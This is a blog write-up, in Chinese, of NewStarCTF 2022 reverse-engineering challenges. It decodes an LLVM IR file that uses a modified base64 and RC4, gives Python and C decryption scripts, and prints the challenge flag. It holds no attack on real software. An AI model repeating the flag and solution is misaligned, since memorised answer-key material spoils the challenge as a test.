input[21] = (((input[21] - 3) ^ 2 + 3 + 236 + 236) ^ 3) & 0xff
input[9] = ((input[9] + 2) ^ 2 + 1 - 3 - 2 - 20 + 1) & 0xff
input[28] = ((input[28] ^ 28-1) ^ 28-3-1 + 1)
input[15] = (((input[15]-(53-177^165)) ^ 3 + 2) ^ 3)&0xff
input[16] = (((input[16]-3-2) + 3) ^ 227 -2)&0xff
input[8] = (((input[8]-(53+53)^43) + 3-3-1) ^ 43)&0xff
input[1] = ((input[1]) ^ 1-178)&0xff
input[13] = ((input[1]) ^ 2) ^ 3 ^ 1
input[24] = (((input[24]) + 1) ^ 1) ^ 3
input[12] = ((input[12])-1-3 + 4) ^ 3
input[27] = ((input[27]-57-1-2) ^ 1 -3-1+ 3) print(bytes(input))
# for i in range(len(input)):
# print(chr(input[i] & 0xff), end='')

数据一直不对,不断排查后,猜测是位处理的问题,程序中的字符是无符号整型:

u_int8_t 处理后【写了个c脚本还是错误!!!!】

魔幻的问题!!再试一次!!! 【还是不可以】

【不知道哪里出了问题,等WP吧!!!】

babycode (middle)

0x01 llvm 中间代码 .ll 了解

语言参考手册 — LLVM 16.0.0git 文档

(175条消息) LLVM IR(一)——如何使用LLVM编译执行代码_七妹要奈斯的博客-CSDN博客_llvm 生成ir

LLVM IR入门指南(1)——LLVM架构简介 - 知乎 (zhihu.com)

LLVM编译流程——全详解(快来看史上最细解析!!) | 码农家园 (codenong.com)

这里尝试将 .ll 转化为 .out 可执行文件。

Ubuntu 环境安装:

sudo apt-get install llvm

sudo apt-get install clang

# 安装失败

kali clang 环境: 【环境自带】

将C文件编译为LLVM bitcode 文件
clang -o3 -emit-llvm hello.c -c -o hello.bc 由于.bc 是bitcode的二进制格式,.ll 文件 llvm bitcode 的可读文本
clang -o3 -emit-llvm hello.c -S -o hello.ll llvm-dis 工具反汇编llvm bitcode 文件, 可以将bc文件转为.ll文件 llvm-dis hello.bc 用 llvm-as 工具通过汇编文件(.ll 文件)得到字节码文件(.bc 文件)
llvm-as hello.ll hello.bc .bc编译成.o
第一种方法:用clang直接将其编译为可执行文件
clang a.o.bc -o struct 第二种方法:用llc先将bc编译为汇编,再用本地的gcc将其编译为可执行文件。 llc a.o.bc -o hello.s
gcc hello.s -o hello 编译生成可执行文件
clang hello.c -o hello 或者 clang -emit-llvm -c hello.c .bc到.s编译指令
clang -S -fobjc-arc struct.bc -o struct.s

使用如下命令转换:

llvm-as task.ll task.bc

显然出题人,修改了!【避免这个解题思路】--->【当时做题的错误判断】

还是得分析.ll llvm 中间文件

【其实这里改为:

llvm-as task.ll -o task.bc

就可以很快将将ll中间文件转化为 可执行文件!!!,0x05 就是这种思路

【但当时本着学习的态度,没深究就直接学习llvm .ll 中间代码去了,也比较曲折】

0x02 分析 .ll 中间文件算法流程
@ - 全局变量
% - 局部变量
alloca - 在当前执行的函数的堆栈帧中分配内存,当该函数返回到其调用者时,将自动释放内存
i32 - 32位4字节的整数
align - 对齐
load - 读出,store写入
icmp - 两个整数值比较,返回布尔值
br - 选择分支,根据条件来转向label,不根据条件跳转的话类型goto
label - 代码标签
call - 调用函数

(175条消息) (LLVM)中间语言(IR)基本语法简介_wy7980的博客-CSDN博客_ir中间语言

(176条消息) LLVM IR / LLVM指令集入门_Canliture的博客-CSDN博客_llvm指令集

Rc4 加密的分析:

  %22 = getelementptr inbounds [9 x i8], [9 x i8]* %3, i64 0, i64 0
%23 = load i32, i32* %4, align 4
call void @Rc4_Init(i8* %22, i32 %23) // 传入密钥即密钥长度
%24 = getelementptr inbounds [42 x i8], [42 x i8]* %2, i64 0, i64 0
call void @Rc4_Encrypt(i8* %24, i32 16) 知道 rc4 密钥key="llvmbitc" # 同时调用了两次rc4 加密,
# 中间有一段xor 加密 // input[pos+16]^=input[pos]
# 如下 rc4_enc(input,16)
for pos in range(16)
input[pos+16]^=input[pos]
rc4_enc(input[16],16)

魔改 Base64 分析:

  %22 = getelementptr inbounds i8, i8* %19, i64 %21    // 取出当前处理字符
%23 = load i8, i8* %22, align 1
%24 = zext i8 %23 to i32 // 类型强制转化
%25 = ashr i32 %24, 2 // 算数右移两位 input[i]>>2
%26 = add nsw i32 %25, 59 // input[i]+59
%27 = trunc i32 %26 to i8 // 强制转化 相当于 &0xff
%28 = load i8*, i8** %6, align 8
%29 = load i32, i32* %9, align 4
%30 = sext i32 %29 to i64
%31 = getelementptr inbounds i8, i8* %28, i64 %30 // 存储base64 编码串
store i8 %27, i8* %31, align 1
%32 = load i8*, i8** %4, align 8
%33 = load i32, i32* %7, align 4
%34 = sext i32 %33 to i64
%35 = getelementptr inbounds i8, i8* %32, i64 %34
%36 = load i8, i8* %35, align 1
%37 = zext i8 %36 to i32
%38 = and i32 %37, 3 // 获取第一个字符 低两位
%39 = shl i32 %38, 4 // 左移四位 # 这里的编码思路就是:
# 每三个字符,24位,切分成4断,每段6位。
# 将6位对应的值 (value+ 59)&0xff 则是编码后的值。
0x03 深入分析 llvm中间代码算法流程

对上面流程实现解密!

# encoding=utf-8

from Crypto.Cipher import ARC4

enc = 'TSz`kWKgbMHszXaj`@kLBmRrnTxsNtZsSOtZzqYikCw'

for i in range(len(enc)):
print((ord(enc[i])),end=',') print()
for i in range(len(enc)):
print(str(bin((ord(enc[i])-59)&0xff)[2:].zfill(6)), end='') print() enc_ = '0110010110001111111001011100000111000100001011001001110100100011011110001111110111011001101011111001010001011100000100010001111100100101111101111100110110011111011110000100111110010111111110000110000101001110010111111111111101100111101011101100000010001111'
print() for i in range(0, len(enc_), 8):
print(hex(int(enc_[i:i + 8], 2)), end=',') chipher = [0x65, 0x8f, 0xe5, 0xc1, 0xc4, 0x2c, 0x9d, 0x23, 0x78, 0xfd, 0xd9, 0xaf, 0x94, 0x5c, 0x11, 0x1f, 0x25, 0xf7,
0xcd, 0x9f, 0x78, 0x4f, 0x97, 0xf8, 0x61, 0x4e, 0x5f, 0xff, 0x67, 0xae, 0xc0, 0x8f] chipher1=[0x65, 0x8f, 0xe5, 0xc1, 0xc4, 0x2c, 0x9d, 0x23, 0x78, 0xfd, 0xd9, 0xaf, 0x94, 0x5c, 0x11, 0x1f]
chipher2=[0x25, 0xf7, 0xcd, 0x9f, 0x78, 0x4f, 0x97, 0xf8, 0x61, 0x4e, 0x5f, 0xff, 0x67, 0xae, 0xc0, 0x8f] print()
# rc4 解密
key=b'llvmbitc\00'
# key=b'<--- NewStarCTF2022 --->\x00' cipher_text2 = bytes(chipher2) print(cipher_text2)
# 两次rc4 cipher = ARC4.new(key)
decrypt_text2 = cipher.decrypt(cipher_text2) # 中间1次xor
decrypt_text2=list(decrypt_text2)
for i in range(0,len(decrypt_text2)):
decrypt_text2[i]^=chipher[i] print(decrypt_text2) cipher_text1= bytes(chipher1)
print(cipher_text1) # cipher = ARC4.new(key)
decrypt_text1 = cipher.decrypt(cipher_text1) print(list(decrypt_text1),decrypt_text2)

解密发现得不出flag!!!

排查之后,发现应该是rc4 也被魔改了!

RC4加密算法原理简单理解 - 沉默的赌徒 - 博客园 (cnblogs.com)

 # 初始化
@Rc4_Init(key,len) # 分析发现,无魔改 key=b'llvmbitc\x00' for i in range(256):
s[i]=i
t[i]=key[i%len] j = 0;
for i in range(256):
j = (j + S[i] + T[i]) mod 256;
swap(S[i] , S[j]); # 加密
@Rc4_Encrypt(input,len) for i in range(len):
i = (i + 1) mod 256;
j = (j + S[i]) mod 256;
swap(S[i] , S[j]);
//t = (S[i] + S[j]) mod 256;
t=S[(S[i] + S[j]) mod 256] k=t^0x89 // 魔改位置, 多xor 89
//可以直接在这里进行加密,当然也可以将密钥流保存在数组中,最后进行异或就ok  
input[]=input[i]^k; //进行加密

rc4 就是加了一个 xor 89 的操作

0x04 解密分析

现在梳理一下加密流程:

rc4_enc(input,16) xor 89
for pos in range(16)
input[pos+16]^=input[pos]
rc4_enc(input[16],16) xor 89 enc=b64encode(input[],32) 比较密文
chipher = [0x65, 0x8f, 0xe5, 0xc1, 0xc4, 0x2c, 0x9d, 0x23, 0x78, 0xfd, 0xd9, 0xaf, 0x94, 0x5c, 0x11, 0x1f,
0x25, 0xf7, 0xcd, 0x9f, 0x78, 0x4f, 0x97, 0xf8, 0x61, 0x4e, 0x5f, 0xff, 0x67, 0xae, 0xc0, 0x8f] chipher1 = [0x65, 0x8f, 0xe5, 0xc1, 0xc4, 0x2c, 0x9d, 0x23, 0x78, 0xfd, 0xd9, 0xaf, 0x94, 0x5c, 0x11, 0x1f]
chipher2 = [0x25, 0xf7, 0xcd, 0x9f, 0x78, 0x4f, 0x97, 0xf8, 0x61, 0x4e, 0x5f, 0xff, 0x67, 0xae, 0xc0, 0x8f] for i in range(len(chipher)):
chipher[i] ^= 89
if i > 15:
chipher[i] = chipher[i]^chipher[i - 16]^89 # rc4 解密
key = b'llvmbitc\x00' cipher_text = bytes(chipher)
# 两次rc4 可以合并 cipher = ARC4.new(key)
decrypt_text = cipher.decrypt(cipher_text) print()
print(decrypt_text)
print(list(decrypt_text))

解密发现还是不对,猜测可能原因是Rc4 前后两次加密,共用一次初始化的S盒,但第二次加密下标从0开始,且使用第一次Rc4加密后的S盒,这里显然是耦合的,显然只能写脚本解密,py调用模板肯定用不了!

写了个 c脚本,也无用!!!直接蒙蔽,,,

#include<stdio.h>

/*
RC4初始化函数
*/
void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k)
{
int i = 0, j = 0;
char k[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++) {
s[i] = i;
k[i] = key[i % Len_k];
}
for (i = 0; i < 256; i++) {
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
} /*
RC4加解密函数
unsigned char* Data 加解密的数据
unsigned long Len_D 加解密数据的长度
unsigned char* key 密钥
unsigned long Len_k 密钥长度
*/
void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k) //加解密
{
unsigned char s[256];
rc4_init(s, key, Len_k);
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
for (k = 0; k < Len_D/2; k++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
Data[k] = Data[k] ^ s[t]^89;
printf("0x%x,",s[t]^89);
}
printf("\n");
i=0,j=0,t=0;
for (k = 0; k < Len_D/2; k++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
Data[k+16] = Data[k+16] ^ s[t]^89;
printf("0x%x,",s[t]^89);
}
printf("\n");
} int main()
{
//字符串密钥
// unsigned char key[] = "zstuctf";
unsigned char key[] ="llvmbitc";
unsigned long key_len = sizeof(key) -1 ; // //数组密钥
// unsigned char key[] = {0x6c,0x6c,0x76,0x6d,0x62,0x69,0x74,0x63,0x0};
// unsigned long key_len = sizeof(key); //加解密数据
// unsigned char data[] = { 0x7E, 0x6D, 0x55, 0xC0, 0x0C, 0xF0, 0xB4, 0xC7, 0xDC, 0x45,
// 0xCE, 0x15, 0xD1, 0xB5, 0x1E, 0x11, 0x14, 0xDF, 0x6E, 0x95,
// 0x77, 0x9A, 0x12, 0x99 }; unsigned char data[]={0x65,0x8f,0xe5,0xc1,0xc4,0x2c,0x9d,0x23,0x78,0xfd,0xd9,0xaf,0x94,0x5c,0x11,0x1f,0x25,0xf7,0xcd,0x9f,0x78,0x4f,0x97,0xf8,0x61,0x4e,0x5f,0xff,0x67,0xae,0xc0,0x8f}; unsigned char data1[]={0x65,0x8f,0xe5,0xc1,0xc4,0x2c,0x9d,0x23,0x78,0xfd,0xd9,0xaf,0x94,0x5c,0x11,0x1f,0x25,0xf7,0xcd,0x9f,0x78,0x4f,0x97,0xf8,0x61,0x4e,0x5f,0xff,0x67,0xae,0xc0,0x8f}; //加解密
rc4_crypt(data, sizeof(data), key, key_len); for (int i = 0; i < sizeof(data); i++)
{
if (i>15)
{
printf("%c,", data[i]^data1[i-16]);
}
else
{
printf("%c,", data[i]);
}
}
printf("\n");
return 0;
}

哪分析错了呢!,先缓缓,后面再来做!!!

0x05 .ll 转化为 elf 再探索

后面又尝试以将中间代码转化为可执行文件的思路

└─# llvm-as task.ll task.bc
llvm-as: Too many positional arguments specified!
Can specify at most 1 positional arguments: See: llvm-as --help
┌──(root㉿xiaoxiao)-[~/ida_]
└─# llvm-as task.ll -o task.bc ┌──(root㉿xiaoxiao)-[~/ida_]
└─# clang task.bc -o task # 原来,最开始是由于少了 -o 造成 .ll 到 .bc 转化失败!!!

导出task可执行程序后,ida分析elf 文件

发现,一直遗漏了一个细节!!!base64 编码是,第2、3是交换了位置的!

同时,多出2个字节的编码也有改动!【显然,对llvm 中间代码的分析还是有点马虎】【其他加密逻辑是分析清楚了的】

# encoding=utf-8

from Crypto.Cipher import ARC4

enc = 'TSz`kWKgbMHszXaj`@kLBmRrnTxsNtZsSOtZzqYikCw='

for i in range(len(enc)):
print((ord(enc[i])), end=',') print()
for i in range(0, len(enc)-4, 4):
print(str(bin((ord(enc[i]) - 59) & 0xff)[2:].zfill(6)), end='')
print(str(bin((ord(enc[i + 2]) - 59) & 0xff)[2:].zfill(6)), end='')
print(str(bin((ord(enc[i + 1]) - 59) & 0xff)[2:].zfill(6)), end='')
print(str(bin((ord(enc[i + 3]) - 59) & 0xff)[2:].zfill(6)), end='')
# base64 最后 = 处理
for i in range(len(enc)-4,len(enc),4):
print(str(bin((ord(enc[i]) - 59) & 0xff)[2:].zfill(6)), end='')
print(str(bin((ord(enc[i + 1]) - 59) & 0xff)[2:].zfill(6)), end='')
print(str(bin(((ord(enc[i + 2]) - 59)>>2) & 0xf)[2:].zfill(6)), end='')
print('0'*6) print() enc_ = '011001111111011000100101110000010000011100101100100111001101010010111000111111100110011101101111100101110000000101010001000111010111110010110111110011111101011001111000010011011111111001111000011000111001010100011111111111011110110110101110110000001000001111000000'
print() for i in range(0, len(enc_), 8):
print(hex(int(enc_[i:i + 8], 2)), end=',') chipher = [0x67,0xf6,0x25,0xc1,0x7,0x2c,0x9c,0xd4,0xb8,0xfe,0x67,0x6f,0x97,0x1,0x51,0x1d,0x7c,0xb7,0xcf,0xd6,0x78,0x4d,0xfe,0x78,0x63,0x95,0x1f,0xfd,0xed,0xae,0xc0,0x83,0xc0]

如下,再用C脚本解密得到:

#include<stdio.h>

/*
RC4初始化函数
*/
void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k)
{
int i = 0, j = 0;
char k[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++) {
s[i] = i;
k[i] = key[i % Len_k];
}
for (i = 0; i < 256; i++) {
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
} /*
RC4加解密函数
unsigned char* Data 加解密的数据
unsigned long Len_D 加解密数据的长度
unsigned char* key 密钥
unsigned long Len_k 密钥长度
*/
void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k) //加解密
{
unsigned char s[256];
rc4_init(s, key, Len_k);
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
for (k = 0; k < Len_D/2; k++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
Data[k] = Data[k] ^ s[t]^89;
printf("0x%x,",s[t]^89);
}
printf("\n");
i=0,j=0,t=0;
for (k = 0; k < Len_D/2; k++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
Data[k+16] = Data[k+16] ^ s[t]^89;
printf("0x%x,",s[t]^89);
}
printf("\n");
} int main()
{
//字符串密钥
// unsigned char key[] = "zstuctf";
unsigned char key[] ="llvmbitc";
unsigned long key_len = sizeof(key) -1 ; // //数组密钥
// unsigned char key[] = {0x6c,0x6c,0x76,0x6d,0x62,0x69,0x74,0x63,0x0};
// unsigned long key_len = sizeof(key); //加解密数据
// unsigned char data[] = { 0x7E, 0x6D, 0x55, 0xC0, 0x0C, 0xF0, 0xB4, 0xC7, 0xDC, 0x45,
// 0xCE, 0x15, 0xD1, 0xB5, 0x1E, 0x11, 0x14, 0xDF, 0x6E, 0x95,
// 0x77, 0x9A, 0x12, 0x99 }; unsigned char data[]={0x67,0xf6,0x25,0xc1,0x7,0x2c,0x9c,0xd4,0xb8,0xfe,0x67,0x6f,0x97,0x1,0x51,0x1d,0x7c,0xb7,0xcf,0xd6,0x78,0x4d,0xfe,0x78,0x63,0x95,0x1f,0xfd,0xed,0xae,0xc0,0x83};
unsigned char data1[]={0x67,0xf6,0x25,0xc1,0x7,0x2c,0x9c,0xd4,0xb8,0xfe,0x67,0x6f,0x97,0x1,0x51,0x1d,0x7c,0xb7,0xcf,0xd6,0x78,0x4d,0xfe,0x78,0x63,0x95,0x1f,0xfd,0xed,0xae,0xc0,0x83};
//加解密
rc4_crypt(data, sizeof(data), key, key_len); for (int i = 0; i < sizeof(data); i++)
{
if (i>15)
{
printf("%c", data[i]^data1[i-16]);
}
else
{
printf("%c", data[i]);
}
}
printf("\n");
return 0;
}

flag{Hacking_for_fun@reverser$!q

【这里最后一字节,是'q'不是'}'的原因在于,base64 编码时,有个&0xf的操作,导致信息丢失,但由于只有一位也就不爆破了】

得到flag:

flag{Hacking_for_fun@reverser$!}

【注:这题学到了很多东西,对.ll中间代码语法摸了个小透,但由于base64 编码的小细节没注意到,导致做题时还是很曲折的,最后转化为可执行文件进行逆向才成功破案】

结语

​ 这次 NewStar CTF 2022 公开赛,体验很好。我回顾了很多Re方面的知识点,也学习到了一些新的东西。从Week2 开始参赛,直到 Week5 结束,主攻逆向题目,做了少量Web题。Re 题除了Week5 的 Virtual Self 没做出来,其他全部解出,这是十分鼓舞人心的,当然也算是一个不圆满的小遗憾了吧!【没能Ak Week2-Week5 的所有Re】。

​ 最后对自己有一点小小(笑笑)的展望:希望接下来,能在中等难度比赛中有所突破【相对应的,也就是在逆向水平方面有所提高】!

NewStarCTF 公开赛 2022 RE WP的更多相关文章

  1. Ha1cyon_CTF-公开赛(wp)

    一.babyasm 00007FF7A8AC5A50 push rbp 00007FF7A8AC5A52 push rdi 00007FF7A8AC5A53 sub rsp,238h 00007FF7 ...

  2. 2022第五空间-web部分wp+复盘总结

    打了一天,麻了,大佬tql,这次get到了不少东西,一是一个不太常见的宽字节注入,我是真的没想到,而且后面也是看了wp理解了好一会才弄明白. 0x01: 题目是一个登录框,但是基本上是过滤掉了所有的常 ...

  3. ciscn 2022 misc 部分wp

    ​ 目录 everlasting_night ez_usb everlasting_night 提示是注意png数据块 然后注意图片通道数据可以用来lsb解码 下载是一张图片,尝试几种方法之后没有太大 ...

  4. 2022宁波市第五届网络安全大赛MISC方向部分wp

    BlackAndWhite 1. 得到了三百多张黑白颜色的图片,将白色图片转为数字0,黑色图片转为数字1,得到二进制字符串 01100110011011000110000101100111011110 ...

  5. 【wp】2021V&NCTF

    前几天打完的V&NCTF公开赛,做题的时候没记过程,这是复现wp. 最后排名Top 18,三道RE+两道杂项(wp没啥可放的hhh)+一道web,感觉re题目还是挺好的,难度适中点赞,尤其pc ...

  6. [BUUCTF]PWN——[V&N2020 公开赛]easyTHeap

    [V&N2020 公开赛]easyTHeap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,常见的堆的菜单 64位ida载入,main函数 最多只能申请7个ch ...

  7. [BUUCTF]PWN——[V&N2020 公开赛]simpleHeap

    [V&N2020 公开赛]simpleHeap 附件 步骤: 例行检查,64位,保护全开 根据题目可知是一道堆,直接用64位ida打开 我修改了这些函数的名称,这样方便看程序 add,我们可以 ...

  8. [BUUCTF]REVERSE——[V&N2020 公开赛]strangeCpp

    [V&N2020 公开赛]strangeCpp 附加 步骤 查壳,无壳,64位程序 64位ida载入,没有main函数,根据程序里的字符串,去查看函数 __int64 __fastcall s ...

  9. [BUUCTF]PWN——[V&N2020 公开赛]warmup

    [V&N2020 公开赛]warmup 附件 步骤: 例行检查,64位程序,除了canary,其他保护都开 本地运行一下,看看大概的情况 64位ida载入,从main函数开始看程序 看到程序将 ...

  10. 逆天通用水印支持Winform,WPF,Web,WP,Win10。支持位置选择(9个位置 ==》[X])

    常用技能:http://www.cnblogs.com/dunitian/p/4822808.html#skill 逆天博客:http://dnt.dkil.net 逆天通用水印扩展篇~新增剪贴板系列 ...

随机推荐

  1. Linux基础第十章:系统安全及应用

    目录 一.账户安全措施 1.账户管理 2.锁定配置文件 3.清除历史记录 二.sudo 1.sudo概念及优点 2.使用sudo 3.sudo实操演示 4.设置sudo别名 5.sudo特别注意 一. ...

  2. Ajax 后台传值接收方法

    $.ajax({ method: 'post', //数据类型 url: 'service.ashx?method=PostFile', //传输页面和页面方法 dataType: "jso ...

  3. HDK_节点开发:SOP_ComputeVisibility

    Houdini版本:18.5.596 节点概述:剔除模型在某视线方向下所有不可见面. 参数界面: 输入:三角化的模型(左),可选输入遮挡模型(右) 原理:在画布上绘制该方向上的最近深度,作为判定各面可 ...

  4. TypeScript系列 -> 遇到报错 Cannot find name ‘console‘. Do you need to change your target library?ging the ‘lib‘ compiler option

    学习ts遇到的报错 Cannot find name 'console'. Do you need to change your target library?ging the 'lib' compi ...

  5. html 手机端适配不同手机高度 ,把内容居中显示

    手机端适配不同手机高度 ,把内容居中显示,可以将div.img.section.span.p等等元素,设置 top:50%; margin-top:xxvw; 这样可以保证主题内容居中显示.

  6. 【APT】APT-C-41下载器组件样本分析

    前言 APT-C-41(又被称为蓝色魔眼.Promethium.StrongPity),该APT组织最早的攻击活动可以追溯到2012年.该组织主要针对意大利.土耳其.比利时.叙利亚.欧洲等地区和国家进 ...

  7. 【LeetCode_15】——三数之和

    今天做了力扣中的一道经典题:三数之和.这题思路倒是很快想到,调逻辑可把我调得够呛,这也正说明我的刷题思维远远不够,比起我室友半个月刷300多题的思维差远了...革命尚未成功,同志仍需努力. 原题链接: ...

  8. Debug --> CICflowmeter配置链接

    先存一下,今天晚上尝试. https://blog.csdn.net/weixin_52111404/article/details/127908558

  9. vins-fusion(1)安装编译

    https://github.com/HKUST-Aerial-Robotics/VINS-Fusion https://blog.csdn.net/haner27/article/details/1 ...

  10. ES6知识点总结

    声明变量      let 不能重复声明 块级作用域 可修改let变量的值 , const 不能重复声明 块级作用域 不能修改const 变量的值 2. 箭头函数 而箭头函数的this指向函数定义时所 ...